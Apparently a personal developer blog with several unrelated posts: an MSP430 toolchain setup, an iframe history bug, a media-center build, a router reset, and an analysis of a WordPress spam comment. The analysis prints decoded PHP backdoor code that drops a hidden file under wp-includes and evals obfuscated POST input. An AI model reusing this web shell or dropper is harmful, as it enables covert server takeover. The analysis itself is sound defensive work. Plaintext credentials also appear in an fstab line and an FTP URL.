Setting up the Launchpad MSP430 development environment on OSX

A series of stale wikis and forum posts complicate the setup for cross-compiling code on OSX Yosemite 10.10.4 and running it on a MSP430G2231 microcontroller. It’s not hard if you know what to do.

Today, the fastest way to get code running on an MSP430 is Energia, an Arduino-like environment with a specialty language and purpose-built IDE. It’s actively maintained and seems to just work which is more than can be said for anything else in this ecosystem.

If you want to write vanilla C with no magic you need to set up the toolchain and debugger yourself.

1. Install mspdebug with homebrew.

`brew install mspdebug`

If you launch mspdebug you won’t find any devices because you’re missing the usb driver.

2. Install the MSP430LPCDC-1.0.3b-Signed driver from the Energia site.

A restart is required. Afterward, try `sudo mspdebug rf2500` and you should be able to get a shell and see output like this:

Trying to open interface 1 on 006
Initializing FET...
FET protocol version is 30066536
Set Vcc: 3000 mV
Configured for Spy-Bi-Wire
Device ID: 0xf201
 Code start address: 0xf800
 Code size : 2048 byte = 2 kb
 RAM start address: 0x200
 RAM end address: 0x27f
 RAM size : 128 byte = 0 kb
Device: F20x2_G2x2x_G2x3x
Number of breakpoints: 2
fet: FET returned NAK
warning: device does not support power profiling
Chip ID data: f2 01 02

3. Install the pre-built open source gcc compiler from TI.

Download the msp430-gcc-opensource compiler for OSX.

You’ll have to create an account and swear you’re not Libyan, among other things. Install the compiler using the wizard and remember the destination path.

4. Create a project folder with some source code. There are some examples in <GCC_INSTALL_DIR>/examples/osx.

I tweaked one of the examples to work specifically for the MSP430G2231. Put them in the same folder.
blink.c
Makefile

5. Build the project with `make`. This should run some commands like this:

~/ti/gcc/bin/msp430-elf-gcc -I ~/ti/gcc/include -mmcu=msp430g2231 -O2 -g   -c -o blink.o blink.c
~/ti/gcc/bin/msp430-elf-gcc -I ~/ti/gcc/include -mmcu=msp430g2231 -O2 -g -L ~/ti/gcc/include blink.o -o msp430g2231.out

6. Copy the compiled program to the board.

`sudo mspdebug rf2500`
`prog msp430g2231.out`

7. Run the program with `run`. The red and green LEDs should alternate blinking.

Bonus fact: since the MSP430 has memory-mapped I/O, you can turn on the LEDs from the debugger with the `mw` command. Consult the appropriate header file in `<GCC_INSTALL_DIR>/include` to find the address of P1. For me, it’s 0x0021.

Changing the src attribute of an iframe modifies the history

A few weeks ago I rolled out a feature on the Indeed mobile site that used a modal menu. A coworker noticed that the modal was breaking the back button. Opening and closing the modal was creating entries in the browser’s history.

At first I thought I had missed a preventDefault in a callback somewhere. Nope.

The culprit was an iframe that we were using to track user interactions. If you modify the src attribute, a load event fires inside the iframe. This event bubbles up to the top window, creating a history entry without changing the outermost url.

This fiddle demonstrates the behavior. Click the button and watch your favicon (if you’re in chrome). You’ll see that it spins ever so briefly even though the outermost page does not refresh.

 

 

Anyway, I replaced the old iframe hack with Closure’s `goog.net.XhrIo.send` and it was all gravy. If you’re feeling lucky, download the app and you may end up in the modal test group.

PS: If you’re in a situation where you have to use an iframe, but you don’t want to modify the history, just destroy it and create a new one.

Malicious PHP snippet from a WordPress comment

I received a spam comment on a WordPress instance that stood out from the crowd.

<!--mfunc eval(base64_decode("IGVycm9yX3JlcG9ydGluZygwKTsgJGZpbGUgPSBkaXJuYW1lKCRfU0VSV
kVSWydTQ1JJUFRfRklMRU5BTUUnXSkgLiAnLycgLiAnd3AtaW5jbHVkZXMvcXdob3N0LnBocCc7ICRzcmMgPSAn
PD9waHAgZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiRFpaSERxd0lFa1R2MHF2L3hRSW92RWE5d0h0WGV
EWXR2UGVlMDA5ZEl... you get the idea ... )); --><!--/mfunc-->

How can I not investigate this? It’s clearly malicious. I wasn’t sure what this mfunc business was, so I looked it up.

WP Super Cache is a full page caching plugin for WordPress.

Unfortunately it was reported recently that remote visitors to sites using the plugin could execute any code they like by simply leaving a comment containing the right mfunc code.

Donncha

Cool. I’m not using WP Super Cache on this particular site, so bullet dodged there. I still wanted to see what the deal was with this code though. I manually executed the base64_decode (no, not with the eval!) and got this.

error_reporting(0); 
$file = dirname($_SERVER['SCRIPT_FILENAME']) . '/' . 'wp-includes/qwhost.php'; 
$src = '<?php eval(gzinflate(base64_decode("DZZHDqwIEkTv0qv/xQIovEa9wHtXeDYtvPee009dIJX5FB... yeah more of this ... Cbyyu1txOSxZtXwSNTvMO1d1JuzCHsVdjwr534ek0DFSSeQXkmNVMhLNMB1rr79KCJIAAIIgUYKX/u8/f//+/d//AQ=="))); ?>'; 
$mtime = filemtime(dirname($file));
$fh = fopen($file, 'w'); 
fwrite($fh, $src); fclose($fh); 
@touch($file, $mtime, $mtime); 
@touch(dirname($file), $mtime, $mtime);

I tried to decrypt the big ol string a few more times and realized that this encoding inception goes way more than 3 levels deep. Luckily, there is a badass tool made specifically to help out in situations like this.

Enter PHP Decoder!

It decrypts strings until it gets something useful. After pasting in the above snippet, PHP Decoder will perform 28 inceptions and give you this. (comments mine)

<?php
@error_reporting(0); // rooting boxes, be vewy vewy quiet
@ini_set("display_errors", 0);
@ini_set("log_errors", 0);
@ini_set("error_log", 0);
if (isset($_GET['r'])) { 
    // echo back the 'r' url param. Easy way to check if exploit was installed.
    print $_GET['r'];
} elseif (isset($_POST['e'])) {
    // execute obfuscated payload code
    eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
} elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') {
    // I believe this is equivalent to the above clause which reads post data
    $data = file_get_contents('php://input');
    if (strlen($data) > 0)
        print 'STATUS-IMPORT-OK';
    if (strlen($data) > 12) {
        $fp = @fopen('tmpfile', 'a');
        @flock($fp, LOCK_EX);
        @fputs($fp, $_SERVER['REMOTE_ADDR'] . "\t" . base64_encode($data) . "\r\n");
        @flock($fp, LOCK_UN);
        @fclose($fp);
    }
}
exit;
?>
He doesn't want anyone to see what he's about to do.
“He doesn’t want anyone to see what he’s about to do.”

The code very quietly opens a backdoor and listens at `/wp-includes/qwhost.php` for arbitrary PHP code to execute.

So, am I infected? Luckily the author made it very easy to check. Hit `/wp-includes/qwhost.php?r=test` in your browser. If you see “test” then you’ve been owned.

What’s clever about the wp-includes path is that virtually all WordPress instances have /wp-includes blacklisted in their robots.txt files. You can’t find all the infected blogs on Google with the “inurl:” trick so only the attacker has the complete list.

The Toadmansion Media Center

I live in a house called Toadmansion. It is inhabited by three engineers and a tech sales guy with access to enterprise hardware samples. Our media center is better than yours.

Media Center

I. Software

Two pieces of software power user interactions, XBMC and Andy’s mediaserver Django app.

XBMC is an open source media player with a UI designed for TVs. It checks the two main boxes that we’re looking for in a free app: mature and popular. It does what it’s supposed to do without too much configuration. This is huge because it means we can spend more time worrying about the Django app.

For years mediaserver has only been used by one person, and that’s a shame. The interaction is so obviously valuable.  Imagine a dashboard that integrates local files, a database of all TV shows, and The Pirate Bay. Want to watch anything in the world? Click on it. The torrent magically begins and a progress bar appears in the UI.

Hype aside, the project does need a bit of developer love. I’d like to increase its fault tolerance. and tackle some lingering corner cases. There are many moving pieces because of the external services, but the problems worth solving. Fork the project on GitHub and follow the instructions in the readme if you’d like to contribute.

II. Hardware

The hardware shines as well. We’re lucky to have access to enterprise kit that we wouldn’t normally be able to get our hands on. The components are the router, the nas, and the media server.

The router is a FortiWiFi 60D. The manufacturer doesn’t list price information but I think it goes for around 600 bucks. What’s important for our use case is its support for “client mode” (versus access point mode) out of the box. We’ve configured it to join the main Toadmansion network as a client and share the internet with the NAS and media server. The benefits of this setup are twofold. First, we avoid running an obnoxious ethernet cable through the house. But more importantly, there is no lag between the NAS and the media server because they’re hard-wired.

Sadly, the vast majority of my time in this project went into configuring this router. Just resetting the admin password was a battle. In Fortinet’s router confusopoly you will find documentation for similar but out of date models, private forums, and few Stack Exchange answers. NB: Mass market consumer-grade hardware with a community following is better for personal projects than enterprise gear.

The NAS is a Buffalo Terastation. It has about 8 terabytes of storage. I like it because it is unremarkable. It does what it’s supposed to do. We’ve mounted it on the media server using this fantastic one-liner in `/etc/fstab`

//192.168.2.101/Illmatic /media/nas cifs username=Admin,password=OurPassword,guest,uid=1000				  0       0

Between the NAS and the media server itself we have about 9 Terabytes of storage. I have a feeling it’s going to fill up quick so I built an API in mediaserver for monitoring disks. Here’s the Python that gets disk usage:

result = os.statvfs(disk.name)
         bytes_per_block = result.f_frsize
         blocks_available = result.f_bavail
         available_terabytes = float(blocks_available) * float(bytes_per_block) / 1099511627776
         total_blocks = result.f_blocks
         capacity_terabytes = float(total_blocks) * float(bytes_per_block) / 1099511627776

It appears to work.

The server itself is a mid-range Ubuntu desktop machine in a set-top box form factor case. The XBMC install is a breeze. In the future we may install some game console emulators.

The only missing component is a television. We have an old Sanyo, but it suffers from intractable overscan when using HDMI. The VGA input works but the color is washed out. If you want to release a TV into a good home, Toadmansion is here for you.

mediacenter

Reset the admin password on a FortiWiFi 60D

I recently got my hands on a nice Fortinet router that fell off the back of a truck. Getting access to it was way harder than it should have been. Here’s how you do it.

1) Install FortiExplorer. Connect the usb cable to the router and go to the web view. First just try ‘admin’ and no password. If that fails, you’ve gotta reset it.

3) Download a firmware from the Fortinet ftp server: ftp://pftpintl:F0rt1intl@support.fortinet.com

4) Upload the firmware to the router.

5) Unplug the power. Plug it back in and wait for the router to boot up.

6) Use a pen to hold the reset button for about 5 seconds within 30 seconds of the router booting up.

7) At this point I was unable to access the web view. Maybe try rebooting again and see if it works. If it does, you’re done.

8) Install the new firmware that you uploaded in step 4. Reboot and login with ‘admin’ and no password.

I posted my troubles on the network engineering stack exchange site and got a helpful yet dickish reply.